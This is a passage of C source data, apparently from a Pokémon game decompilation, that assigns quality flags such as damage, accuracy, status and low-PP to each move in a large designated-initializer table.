{[MOVE_POINTS_STAT_RAISE] = 1}, [MOVE_RAZOR_LEAF] = {[MOVE_POINTS_DMG] = 1}, [MOVE_SOLAR_BEAM] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_POPULAR] = 1, [MOVE_POINTS_STRONG] = 1}, [MOVE_POISON_POWDER] = {[MOVE_POINTS_STATUS] = 1}, [MOVE_STUN_SPORE] = {[MOVE_POINTS_STATUS] = 1}, [MOVE_SLEEP_POWDER] = {[MOVE_POINTS_STATUS] = 1}, [MOVE_PETAL_DANCE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_STRING_SHOT] = {[MOVE_POINTS_STAT_LOWER] = 1}, [MOVE_DRAGON_RAGE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_FIRE_SPIN] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_THUNDER_SHOCK] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_THUNDERBOLT] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_POPULAR] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_THUNDER_WAVE] = {[MOVE_POINTS_STATUS] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_THUNDER] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_ROCK_THROW] = {[MOVE_POINTS_DMG] = 1}, [MOVE_EARTHQUAKE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_POPULAR] = 1, [MOVE_POINTS_STRONG] = 1}, [MOVE_FISSURE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_LUCK] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_DIG] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_TOXIC] = {[MOVE_POINTS_STATUS] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_CONFUSION] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_PSYCHIC] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_POPULAR] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_HYPNOSIS] = {[MOVE_POINTS_COMBO] = 1}, [MOVE_MEDITATE] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_STAT_RAISE] = 1}, [MOVE_AGILITY] = {[MOVE_POINTS_STAT_RAISE] = 1}, [MOVE_QUICK_ATTACK] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_RAGE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_TELEPORT] = {0}, [MOVE_NIGHT_SHADE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_MIMIC] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_SCREECH] = {[MOVE_POINTS_STAT_LOWER] = 1}, [MOVE_DOUBLE_TEAM] = {[MOVE_POINTS_STAT_RAISE] = 1, [MOVE_POINTS_DEF] = 1}, [MOVE_RECOVER] = {0}, [MOVE_HARDEN] = {[MOVE_POINTS_STAT_RAISE] = 1, [MOVE_POINTS_DEF] = 1}, [MOVE_MINIMIZE] = {[MOVE_POINTS_STAT_RAISE] = 1, [MOVE_POINTS_DEF] = 1}, [MOVE_SMOKESCREEN] = {[MOVE_POINTS_STAT_LOWER] = 1, [MOVE_POINTS_DEF] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_CONFUSE_RAY] = {[MOVE_POINTS_ACCURATE] = 1}, [MOVE_WITHDRAW] = {[MOVE_POINTS_STAT_RAISE] = 1, [MOVE_POINTS_DEF] = 1}, [MOVE_DEFENSE_CURL] = {[MOVE_POINTS_STAT_RAISE] = 1, [MOVE_POINTS_DEF] = 1}, [MOVE_BARRIER] = {[MOVE_POINTS_DEF] = 1}, [MOVE_LIGHT_SCREEN] = {[MOVE_POINTS_DEF] = 1}, [MOVE_HAZE] = {0}, [MOVE_REFLECT] = {[MOVE_POINTS_DEF] = 1}, [MOVE_FOCUS_ENERGY] = {[MOVE_POINTS_COMBO] = 1}, [MOVE_BIDE] = {[MOVE_POINTS_ACCURATE] = 1}, [MOVE_METRONOME] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_LUCK] = 1}, [MOVE_MIRROR_MOVE] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_LUCK] = 1}, [MOVE_SELF_DESTRUCT] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_EGG_BOMB] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_STRONG] = 1}, [MOVE_LICK] = {[MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_SMOG] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_SLUDGE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_BONE_CLUB] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_FIRE_BLAST] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_LOW_PP] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_WATERFALL] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_CLAMP] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_SWIFT] = {[MOVE_POINTS_DMG] = 1}, [MOVE_SKULL_BASH] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_STRONG] = 1}, [MOVE_SPIKE_CANNON] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_CONSTRICT] = {[MOVE_POINTS_STATUS] = 1, [MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_AMNESIA] = {[MOVE_POINTS_STAT_RAISE] = 1, [MOVE_POINTS_DEF] = 1}, [MOVE_KINESIS] = {[MOVE_POINTS_STAT_LOWER] = 1}, [MOVE_SOFT_BOILED] = {[MOVE_POINTS_HEAL] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_HI_JUMP_KICK] = {[MOVE_POINTS_DMG] = 1}, [MOVE_GLARE] = {[MOVE_POINTS_STAT_LOWER] = 1}, [MOVE_DREAM_EATER] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_RARE] = 1, [MOVE_POINTS_HEAL] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_STRONG] = 1}, [MOVE_POISON_GAS] = {[MOVE_POINTS_STATUS] = 1}, [MOVE_BARRAGE] = {[MOVE_POINTS_DMG] = 1}, [MOVE_LEECH_LIFE] = {[MOVE_POINTS_HEAL] = 1, [MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_LOVELY_KISS] = {[MOVE_POINTS_STATUS] = 1}, [MOVE_SKY_ATTACK] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_LOW_PP] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_TRANSFORM] = {[MOVE_POINTS_RARE] = 1}, [MOVE_BUBBLE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_DIZZY_PUNCH] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_SPORE] = {[MOVE_POINTS_STATUS] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_FLASH] = {0}, [MOVE_PSYWAVE] = {[MOVE_POINTS_DMG] = 1}, [MOVE_SPLASH] = {[MOVE_POINTS_RARE] = 1}, [MOVE_ACID_ARMOR] = {[MOVE_POINTS_STAT_RAISE] = 1, [MOVE_POINTS_DEF] = 1}, [MOVE_CRABHAMMER] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_STRONG] = 1}, [MOVE_EXPLOSION] = {[MOVE_POINTS_RISKY] = 1, [MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_POPULAR] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_FURY_SWIPES] = {[MOVE_POINTS_DMG] = 1}, [MOVE_BONEMERANG] = {[MOVE_POINTS_DMG] = 1}, [MOVE_REST] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_HEAL] = 1}, [MOVE_ROCK_SLIDE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_HYPER_FANG] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_SHARPEN] = {[MOVE_POINTS_STAT_RAISE] = 1, [MOVE_POINTS_DEF] = 1}, [MOVE_CONVERSION] = {[MOVE_POINTS_DEF] = 1}, [MOVE_TRI_ATTACK] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_SUPER_FANG] = {[MOVE_POINTS_DMG] = 1}, [MOVE_SLASH] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_SUBSTITUTE] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_DEF] = 1}, [MOVE_STRUGGLE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_LOW_PP] = 1}, // Odd that this is assigned qualities [MOVE_SKETCH] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_LUCK] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_TRIPLE_KICK] = {[MOVE_POINTS_DMG] = 1}, [MOVE_THIEF] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_SPIDER_WEB] = {[MOVE_POINTS_STAT_LOWER] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_MIND_READER] = {[MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_NIGHTMARE] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_STATUS] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_FLAME_WHEEL] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_SNORE] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_CURSE] = {[MOVE_POINTS_STATUS] = 1}, [MOVE_FLAIL] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_CONVERSION_2] = {[MOVE_POINTS_ACCURATE] = 1}, [MOVE_AEROBLAST] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_COTTON_SPORE] = {[MOVE_POINTS_STAT_LOWER] = 1}, [MOVE_REVERSAL] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_SPITE] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_RISKY] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_POWDER_SNOW] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_PROTECT] = {[MOVE_POINTS_DEF] = 1, [MOVE_POINTS_POPULAR] = 1}, [MOVE_MACH_PUNCH] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_SCARY_FACE] = {0}, [MOVE_FAINT_ATTACK] = {[MOVE_POINTS_DMG] = 1}, [MOVE_SWEET_KISS] = {0}, [MOVE_BELLY_DRUM] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_STAT_RAISE] = 1}, [MOVE_SLUDGE_BOMB] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_MUD_SLAP] = {[MOVE_POINTS_STAT_LOWER] = 1, [MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_OCTAZOOKA] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_SPIKES] = {[MOVE_POINTS_COMBO] = 1}, [MOVE_ZAP_CANNON] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_LUCK] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_LOW_PP] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_FORESIGHT] = {[MOVE_POINTS_ACCURATE] = 1}, [MOVE_DESTINY_BOND] = {[MOVE_POINTS_RISKY] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_PERISH_SONG] = {[MOVE_POINTS_RISKY] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_ICY_WIND] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_DETECT] = {[MOVE_POINTS_DEF] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_BONE_RUSH] = {[MOVE_POINTS_DMG] = 1}, [MOVE_LOCK_ON] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_OUTRAGE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_SANDSTORM] = {0}, [MOVE_GIGA_DRAIN] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_ENDURE] = {[MOVE_POINTS_DEF] = 1}, [MOVE_CHARM] = {[MOVE_POINTS_ACCURATE] = 1}, [MOVE_ROLLOUT] = {[MOVE_POINTS_DMG] = 1}, [MOVE_FALSE_SWIPE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_SWAGGER] = {[MOVE_POINTS_EFFECT] = 1}, [MOVE_MILK_DRINK] = {[MOVE_POINTS_HEAL] = 1}, [MOVE_SPARK] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_FURY_CUTTER] = {[MOVE_POINTS_DMG] = 1}, [MOVE_STEEL_WING] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_MEAN_LOOK] = {[MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_ATTRACT] = {[MOVE_POINTS_STATUS] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_SLEEP_TALK] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_LUCK] = 1}, [MOVE_HEAL_BELL] = {[MOVE_POINTS_LOW_PP] = 1}, [MOVE_RETURN] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_PRESENT] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_LUCK] = 1}, [MOVE_FRUSTRATION] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_SAFEGUARD] = {[MOVE_POINTS_DEF] = 1}, [MOVE_PAIN_SPLIT] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_SACRED_FIRE] = {[MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_LOW_PP] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_MAGNITUDE] = {[MOVE_POINTS_ACCURATE] = 1}, [MOVE_DYNAMIC_PUNCH] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_LUCK] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_LOW_PP] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_MEGAHORN] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_STRONG] = 1}, [MOVE_DRAGON_BREATH] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_BATON_PASS] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_RARE] = 1}, [MOVE_ENCORE] = {[MOVE_POINTS_STATUS] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_PURSUIT] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_RAPID_SPIN] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_SWEET_SCENT] = {[MOVE_POINTS_STAT_LOWER] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_IRON_TAIL] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_METAL_CLAW] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_VITAL_THROW] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_MORNING_SUN] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_HEAL] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_SYNTHESIS] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_HEAL] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_MOONLIGHT] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_HEAL] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_HIDDEN_POWER] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_CROSS_CHOP] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_TWISTER] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_RAIN_DANCE] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_SUNNY_DAY] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_CRUNCH] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_MIRROR_COAT] = {[MOVE_POINTS_DEF] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_PSYCH_UP] = {[MOVE_POINTS_STAT_RAISE] = 1}, [MOVE_EXTREME_SPEED] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_ANCIENT_POWER] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_LOW_PP] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_SHADOW_BALL] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_FUTURE_SIGHT] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_DMG] = 1}, [MOVE_ROCK_SMASH] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_WHIRLPOOL] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_BEAT_UP] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_FAKE_OUT] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_UPROAR] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_STOCKPILE] = {[MOVE_POINTS_COMBO] = 1}, [MOVE_SPIT_UP] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_STRONG] = 1}, [MOVE_SWALLOW] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_HEAL] = 1}, [MOVE_HEAT_WAVE] = {[MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_HAIL] = {0}, [MOVE_TORMENT] = {[MOVE_POINTS_STATUS] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_FLATTER] = {[MOVE_POINTS_ACCURATE] = 1}, [MOVE_WILL_O_WISP] = {[MOVE_POINTS_STATUS] = 1}, [MOVE_MEMENTO] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_FACADE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_FOCUS_PUNCH] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_STRONG] = 1}, [MOVE_SMELLING_SALT] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_FOLLOW_ME] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_NATURE_POWER] = {[MOVE_POINTS_DMG] = 1}, [MOVE_CHARGE] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_TAUNT] = {[MOVE_POINTS_STATUS] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_HELPING_HAND] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_TRICK] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_ROLE_PLAY] = {[MOVE_POINTS_ACCURATE] = 1}, [MOVE_WISH] = {[MOVE_POINTS_HEAL] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_ASSIST] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_LUCK] = 1}, [MOVE_INGRAIN] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_HEAL] = 1, [MOVE_POINTS_DEF] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_SUPERPOWER] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_MAGIC_COAT] = {[MOVE_POINTS_DEF] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_LUCK] = 1}, [MOVE_RECYCLE] = {[MOVE_POINTS_ACCURATE] = 1}, [MOVE_REVENGE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_LUCK] = 1}, [MOVE_BRICK_BREAK] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_YAWN] = {[MOVE_POINTS_COMBO] = 1, [MOVE_POINTS_STATUS] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_KNOCK_OFF] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_ENDEAVOR] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_ERUPTION] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_SKILL_SWAP] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_IMPRISON] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_LUCK] = 1}, [MOVE_REFRESH] = {[MOVE_POINTS_HEAL] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_GRUDGE] = {[MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_SNATCH] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_LUCK] = 1}, [MOVE_SECRET_POWER] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_DIVE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_ARM_THRUST] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_CAMOUFLAGE] = {[MOVE_POINTS_RARE] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_TAIL_GLOW] = {[MOVE_POINTS_ACCURATE] = 1}, [MOVE_LUSTER_PURGE] = {[MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_LOW_PP] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_MIST_BALL] = {[MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_LOW_PP] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_FEATHER_DANCE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_TEETER_DANCE] = {[MOVE_POINTS_ACCURATE] = 1}, [MOVE_BLAZE_KICK] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_MUD_SPORT] = {[MOVE_POINTS_ACCURATE] = 1}, [MOVE_ICE_BALL] = {[MOVE_POINTS_DMG] = 1}, [MOVE_NEEDLE_ARM] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_SLACK_OFF] = {[MOVE_POINTS_HEAL] = 1, [MOVE_POINTS_ACCURATE] = 1}, [MOVE_HYPER_VOICE] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_STRONG] = 1}, [MOVE_POISON_FANG] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_CRUSH_CLAW] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_BLAST_BURN] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_HYDRO_CANNON] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_LOW_PP] = 1}, [MOVE_METEOR_MASH] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_POWERFUL] = 1, [MOVE_POINTS_STRONG] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_ASTONISH] = {[MOVE_POINTS_DMG] = 1, [MOVE_POINTS_ACCURATE] = 1, [MOVE_POINTS_EFFECT] = 1}, [MOVE_WEATHER_BALL] = {[MOVE_POINTS_DMG] = 1, 